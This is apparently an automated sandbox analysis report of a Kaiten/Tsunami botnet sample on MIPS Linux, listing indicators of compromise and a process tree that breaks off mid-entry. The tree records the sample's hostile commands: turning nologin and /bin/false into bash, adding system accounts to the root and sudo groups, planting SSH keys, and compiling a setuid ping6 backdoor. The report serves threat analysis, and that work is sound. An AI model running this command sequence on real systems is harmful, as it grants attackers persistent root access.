kaiten | 9ffc0ec1e281acb2213b638b7e7ab41720be2f9ff31c3640bf790bb406e05652

Analysis

max time kernel
149s
max time network
153s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28-08-2024 20:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

go
Size

3KB
MD5

7ecb186e0f39db85c9e668dcb1bac301
SHA1

e42e91afdad6e32858c62700dd859011b653a80c
SHA256

e228c6a2e62ccd691cc3534b1302a301bd6fa66e6e0c44a26677d4f00cbfa6b5
SHA512

b1df507c89e5ebcb615b79c36879b2cf2b81ed705878fcfc990d39c86f428743d8d2b7b27e308d52f13e407bdeed93943f4c239b273c1747bca5a37bdf4f9eb1

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 3 IoCs

resource	yara_rule
behavioral8/files/fstream-2.dat	family_kaiten2
behavioral8/files/fstream-4.dat	family_kaiten2
behavioral8/files/fstream-10.dat	family_kaiten2

Detects Kaiten/Tsunami payload 2 IoCs

resource	yara_rule
behavioral8/files/fstream-4.dat	family_kaiten
behavioral8/files/fstream-10.dat	family_kaiten

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Adds new SSH keys 2 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	go
File opened for modification	/root/.ssh/authorized_keys	touch

Modifies password files for system users/ groups 16 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

description	ioc	Process
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod

Write file to user bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/usr/sbin/nologin	cp

Writes file to system bin folder 1 TTPs 64 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/bin/cat	touch
File opened for modification	/bin/ss	touch
File opened for modification	/sbin/fsck.cramfs	touch
File opened for modification	/sbin/mkfs.minix	touch
File opened for modification	/sbin/start-stop-daemon	touch
File opened for modification	/sbin/swaplabel	touch
File opened for modification	/bin/fgconsole	touch
File opened for modification	/bin/zless	touch
File opened for modification	/bin/znew	touch
File opened for modification	/sbin/runuser	touch
File opened for modification	/sbin/uid	touch
File opened for modification	/bin/ping6	ld
File opened for modification	/bin/gunzip	touch
File opened for modification	/bin/systemd-inhibit	touch
File opened for modification	/sbin/fixfiles	touch
File opened for modification	/bin/dash	touch
File opened for modification	/bin/systemd-escape	touch
File opened for modification	/bin/zcat	touch
File opened for modification	/bin/zforce	touch
File opened for modification	/sbin/rtacct	touch
File opened for modification	/bin/bzgrep	touch
File opened for modification	/bin/systemd-notify	touch
File opened for modification	/sbin/aureport	touch
File opened for modification	/sbin/e2label	touch
File opened for modification	/sbin/init	touch
File opened for modification	/bin/kmod	touch
File opened for modification	/bin/sh.distrib	touch
File opened for modification	/sbin/audispd	touch
File opened for modification	/sbin/autrace	touch
File opened for modification	/sbin/mke2fs	touch
File opened for modification	/bin/sh	touch
File opened for modification	/bin/clean	touch
File opened for modification	/bin/dmesg	touch
File opened for modification	/bin/open	touch
File opened for modification	/bin/systemd-machine-id-setup	touch
File opened for modification	/bin/udevadm	touch
File opened for modification	/sbin/mkfs.bfs	touch
File opened for modification	/bin/cls	touch
File opened for modification	/bin/dd	touch
File opened for modification	/bin/loadkeys	touch
File opened for modification	/bin/ypdomainname	touch
File opened for modification	/bin/busybox	touch
File opened for modification	/bin/loginctl	touch
File opened for modification	/sbin/ip6tables	touch
File opened for modification	/sbin/logsave	touch
File opened for modification	/sbin/xtables-multi	touch
File opened for modification	/bin/df	touch
File opened for modification	/bin/ls	touch
File opened for modification	/sbin/isosize	touch
File opened for modification	/sbin/shutdown	touch
File opened for modification	/sbin/unix_update	touch
File opened for modification	/sbin/fsck	touch
File opened for modification	/sbin/fsck.minix	touch
File opened for modification	/bin/chgrp	touch
File opened for modification	/bin/domainname	touch
File opened for modification	/bin/networkctl	touch
File opened for modification	/bin/setupcon	touch
File opened for modification	/bin/sleep	touch
File opened for modification	/sbin/fdisk	touch
File opened for modification	/sbin/shadowconfig	touch
File opened for modification	/bin/dir	touch
File opened for modification	/bin/dumpkeys	touch
File opened for modification	/bin/rmdir	touch
File opened for modification	/bin/which	touch

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-bash	895	perl
Changes the process name, possibly in an attempt to hide itself	-bash	897	perl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ccKlffDh.s	cc1
File opened for modification	/tmp/ccRVTjig.s	gcc
File opened for modification	/tmp/cc0yCcGf.le	collect2
File opened for modification	/tmp/ccqsuIcH.ld	collect2
File opened for modification	/tmp/ccRVTjig.s	cc1
File opened for modification	/tmp/ccQopSNY.o	gcc
File opened for modification	/tmp/ccOeDWTb.c	collect2
File opened for modification	/tmp/cc8qtXjd.le	collect2
File opened for modification	/tmp/ccFzMyBj.ld	collect2
File opened for modification	/tmp/cccffm5l.le	collect2
File opened for modification	/tmp/cc6LyNtw.o	collect2
File opened for modification	/tmp/cczOLcu8.res	gcc
File opened for modification	/tmp/ccpimvwd.c	collect2
File opened for modification	/tmp/ccj9ECEW.s	cc1
File opened for modification	/tmp/ccKlffDh.s	gcc
File opened for modification	/tmp/ccR4nJQW.res	gcc
File opened for modification	/tmp/ccHiRGd7.o	as
File opened for modification	/tmp/ccj9ECEW.s	gcc
File opened for modification	/tmp/ccx6iHAR.o	as
File opened for modification	/tmp/cc4tC46H.o	collect2
File opened for modification	/tmp/ccmo2hIT.o	as
File opened for modification	/tmp/ccSML2Gl.c	collect2
File opened for modification	/tmp/cc1XwmF2.res	gcc
File opened for modification	/tmp/cc4dTN2g.o	collect2
File opened for modification	/tmp/ccOLDsxw.res	gcc
File opened for modification	/tmp/cczwzECW.c	collect2
File opened for modification	/tmp/ccQopSNY.o	as
File opened for modification	/tmp/ccjjnbMt.ld	collect2
File opened for modification	/tmp/ccCUzfdd.ld	collect2
File opened for modification	/tmp/ccRRYqVq.s	gcc
File opened for modification	/tmp/ccRRYqVq.s	cc1
File opened for modification	/tmp/ccHiRGd7.o	gcc
File opened for modification	/tmp/ccx6iHAR.o	gcc
File opened for modification	/tmp/ccmo2hIT.o	gcc
File opened for modification	/tmp/cc48sB8R.le	collect2
File opened for modification	/tmp/ccA5WuCc.o	collect2

/tmp/go
/tmp/go
1⤵
- Adds new SSH keys
PID:721
- /usr/bin/gcc
  gcc -o /usr/share/man/man1/kwk a.c
  2⤵
  - Writes file to tmp directory
  PID:725
- - /usr/lib/gcc/mipsel-linux-gnu/6/cc1
    /usr/lib/gcc/mipsel-linux-gnu/6/cc1 -quiet -imultiarch mipsel-linux-gnu a.c -mel -quiet -dumpbase a.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mno-madd4 -mips32r2 "-mabi=32" -auxbase a -o /tmp/ccj9ECEW.s
    3⤵
    - Writes file to tmp directory
    PID:731
- - /usr/local/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccx6iHAR.o /tmp/ccj9ECEW.s
    3⤵
    PID:767
- - /usr/local/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccx6iHAR.o /tmp/ccj9ECEW.s
    3⤵
    PID:767
- - /usr/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccx6iHAR.o /tmp/ccj9ECEW.s
    3⤵
    PID:767
- - /usr/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccx6iHAR.o /tmp/ccj9ECEW.s
    3⤵
    - Writes file to tmp directory
    PID:767
- - /usr/lib/gcc/mipsel-linux-gnu/6/collect2
    /usr/lib/gcc/mipsel-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccOLDsxw.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /usr/share/man/man1/kwk /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccx6iHAR.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:771
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccOLDsxw.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /usr/share/man/man1/kwk /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccx6iHAR.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
      4⤵
      PID:773
- /tmp/distro
  ./distro
  2⤵
  PID:778
- /bin/rm
  rm -rf /sbin/nologin
  2⤵
  PID:780
- /bin/rm
  rm -rf /usr/sbin/nologin
  2⤵
  PID:781
- /bin/rm
  rm -rf /bin/false
  2⤵
  PID:782
- /bin/cp
  cp /bin/bash /bin/false
  2⤵
  - Reads runtime system information
  PID:783
- /bin/cp
  cp /bin/bash /usr/sbin/nologin
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:785
- /bin/cp
  cp /bin/bash /sbin/nologin
  2⤵
  - Reads runtime system information
  PID:787
- /usr/sbin/usermod
  usermod -G root nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:788
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:791
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:793
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:794
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:795
- /usr/sbin/usermod
  usermod -G root bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:796
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:798
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:799
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:800
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:801
- /usr/sbin/usermod
  usermod -G sudo nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:803
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:806
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:807
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:808
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:809
- /usr/sbin/usermod
  usermod -G sudo bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:811
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:814
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:815
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:816
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:817
- /bin/rm
  rm -rf "/bin/.ssh/authorized*"
  2⤵
  PID:818
- /bin/rm
  rm -rf "/usr/games/.ssh/authorized*"
  2⤵
  PID:819
- /bin/mkdir
  mkdir /bin/.ssh -p
  2⤵
  - Reads runtime system information
  PID:820
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:822
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:823
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:825
- /usr/bin/whoami
  whoami
  2⤵
  PID:826
- /bin/hostname
  hostname
  2⤵
  PID:827
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:829
- /usr/bin/whoami
  whoami
  2⤵
  PID:831
- /bin/hostname
  hostname
  2⤵
  PID:833
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:834
- /bin/chmod
  chmod 755 /usr/games/.ssh
  2⤵
  PID:835
- /bin/chmod
  chmod 600 /usr/games/.ssh/authorized_keys
  2⤵
  PID:836
- /bin/chown
  chown games:games /usr/games/.ssh/
  2⤵
  PID:838
- /bin/chown
  chown games:games /usr/games/.ssh/authorized_keys
  2⤵
  PID:839
- /bin/chown
  chown bin:bin /usr/bin/.ssh/
  2⤵
  PID:840
- /bin/chown
  chown bin:bin "/usr/bin/.ssh/au*"
  2⤵
  PID:841
- /bin/rm
  rm -rf /bin/ping6 /sbin/ping6
  2⤵
  PID:842
- /usr/bin/gcc
  gcc -o /bin/ping6 ping.c
  2⤵
  - Writes file to tmp directory
  PID:844
- - /usr/lib/gcc/mipsel-linux-gnu/6/cc1
    /usr/lib/gcc/mipsel-linux-gnu/6/cc1 -quiet -imultiarch mipsel-linux-gnu ping.c -mel -quiet -dumpbase ping.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mno-madd4 -mips32r2 "-mabi=32" -auxbase ping -o /tmp/ccKlffDh.s
    3⤵
    - Writes file to tmp directory
    PID:845
- - /usr/local/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccmo2hIT.o /tmp/ccKlffDh.s
    3⤵
    PID:846
- - /usr/local/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccmo2hIT.o /tmp/ccKlffDh.s
    3⤵
    PID:846
- - /usr/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccmo2hIT.o /tmp/ccKlffDh.s
    3⤵
    PID:846
- - /usr/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccmo2hIT.o /tmp/ccKlffDh.s
    3⤵
    - Writes file to tmp directory
    PID:846
- - /usr/lib/gcc/mipsel-linux-gnu/6/collect2
    /usr/lib/gcc/mipsel-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccR4nJQW.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /bin/ping6 /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccmo2hIT.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:847
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccR4nJQW.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /bin/ping6 /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccmo2hIT.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
      4⤵
      Writes file to system bin folder
      PID:848
- /bin/chmod
  chmod u+xs /bin/ping6
  2⤵
  PID:849
- /bin/cp
  cp /bin/ping6 /sbin/uid
  2⤵
  - Reads runtime system information
  PID:850
- /bin/cp
  cp /bin/ping6 /usr/include/bakla.h
  2⤵
  - Reads runtime system information
  PID:851
- /usr/bin/gcc
  gcc -DLINUX -Wall -o /bin/cls cls.c
  2⤵
  - Writes file to tmp directory
  PID:852
- - /usr/lib/gcc/mipsel-linux-gnu/6/cc1
    /usr/lib/gcc/mipsel-linux-gnu/6/cc1 -quiet -imultiarch mipsel-linux-gnu -D LINUX cls.c -mel -quiet -dumpbase cls.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mno-madd4 -mips32r2 "-mabi=32" -auxbase cls -Wall -o /tmp/ccRVTjig.s
    3⤵
    - Writes file to tmp directory
    PID:853
- - /usr/local/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccQopSNY.o /tmp/ccRVTjig.s
    3⤵
    PID:880
- - /usr/local/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccQopSNY.o /tmp/ccRVTjig.s
    3⤵
    PID:880
- - /usr/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccQopSNY.o /tmp/ccRVTjig.s
    3⤵
    PID:880
- - /usr/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccQopSNY.o /tmp/ccRVTjig.s
    3⤵
    - Writes file to tmp directory
    PID:880
- - /usr/lib/gcc/mipsel-linux-gnu/6/collect2
    /usr/lib/gcc/mipsel-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cc1XwmF2.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /bin/cls /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccQopSNY.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:882
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cc1XwmF2.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /bin/cls /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccQopSNY.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
      4⤵
      PID:884
- /usr/bin/gcc
  gcc clean.c -o /bin/clean -D Linux
  2⤵
  - Writes file to tmp directory
  PID:890
- - /usr/lib/gcc/mipsel-linux-gnu/6/cc1
    /usr/lib/gcc/mipsel-linux-gnu/6/cc1 -quiet -imultiarch mipsel-linux-gnu -D Linux clean.c -mel -quiet -dumpbase clean.c "-march=mips32r2" -mfpxx -mllsc -mno-lxc1-sxc1 -mno-madd4 -mips32r2 "-mabi=32" -auxbase clean -o /tmp/ccRRYqVq.s
    3⤵
    - Writes file to tmp directory
    PID:891
- - /usr/local/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccHiRGd7.o /tmp/ccRRYqVq.s
    3⤵
    PID:892
- - /usr/local/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccHiRGd7.o /tmp/ccRRYqVq.s
    3⤵
    PID:892
- - /usr/sbin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccHiRGd7.o /tmp/ccRRYqVq.s
    3⤵
    PID:892
- - /usr/bin/as
    as -EL -mips32r2 -O1 -no-mdebug "-mabi=32" "-march=mips32r2" -mfpxx -KPIC -o /tmp/ccHiRGd7.o /tmp/ccRRYqVq.s
    3⤵
    - Writes file to tmp directory
    PID:892
- - /usr/lib/gcc/mipsel-linux-gnu/6/collect2
    /usr/lib/gcc/mipsel-linux-gnu/6/collect2 -plugin /usr/lib/gcc/mipsel-linux-gnu/6/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/mipsel-linux-gnu/6/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cczOLcu8.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "--sysroot=/" --build-id --eh-frame-hdr -EL -mips32r2 -dynamic-linker /lib/ld.so.1 -melf32ltsmip -pie -o /bin/clean /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/Scrt1.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crti.o /usr/lib/gcc/mipsel-linux-gnu/6/crtbeginS.o -L/usr/lib/gcc/mipsel-linux-gnu/6 -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu -L/usr/lib/gcc/mipsel-linux-gnu/6/../../../../lib -L/lib/mipsel-linux-gnu -L/lib/../lib -L/usr/lib/mipsel-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/mipsel-linux-gnu/6/../../.. /tmp/ccHiRGd7.o -lgcc --as-needed -lgcc_s --no-as-needed -lc -lgcc --as-needed -lgcc_s --no-as-needed /usr/lib/gcc/mipsel-linux-gnu/6/crtendS.o /usr/lib/gcc/mipsel-linux-gnu/6/../../../mipsel-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:893
  - - /usr/bin/ld
